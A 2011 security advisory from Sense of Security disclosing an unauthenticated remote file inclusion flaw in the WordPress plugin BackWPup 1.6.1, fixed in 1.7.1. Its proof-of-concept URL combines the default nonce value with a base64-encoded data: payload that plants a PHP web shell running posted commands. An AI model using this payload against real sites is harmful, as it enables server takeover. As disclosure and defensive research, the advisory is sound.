	Authorisation. Jason Edelstein
	Release date. 28 March 2011.

Sense of Security – Security Advisory – SOS-11-003.

Wordpress plugin BackWPup – Remote and local code execution.

28 March 2011.

Wordpress Plugin – BackWPup 1.6.1 - Remote File Inclusion - Security Advisory - SOS-11-003

Release Date.	28-Mar-2011
Last Update.	28-Mar-2011
Vendor Notification Date.	25-Mar-2011
Product.	BackWPup
Platform.	PHP / Wordpress
Affected versions.	1.6.1 (verified) and possibly others
Severity Rating.	High
Impact.	System access
Attack Vector.	Remote without authentication
Solution Status.	Upgrade to version 1.7.1
CVE reference.	Not yet assigned

Details.

A vulnerability has been discovered in the Wordpress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server.

The Input passed to the component wp_xml_export.php via the “wpabs” variable allows the inclusion and execution of local or remote PHP files as long as a “_nonce” value is known. The “_nonce” value relies on a static constant which is not defined in the script meaning that it defaults to the value “822728c8d9”.

Proof of Concept.

wp_xml_export.php?**_nonce**=822728c8d9&**wpabs**=data://text/plain;base64,PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution.

Upgrade to BackWPup 1.7.1

Discovered by.

Phil Taylor from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php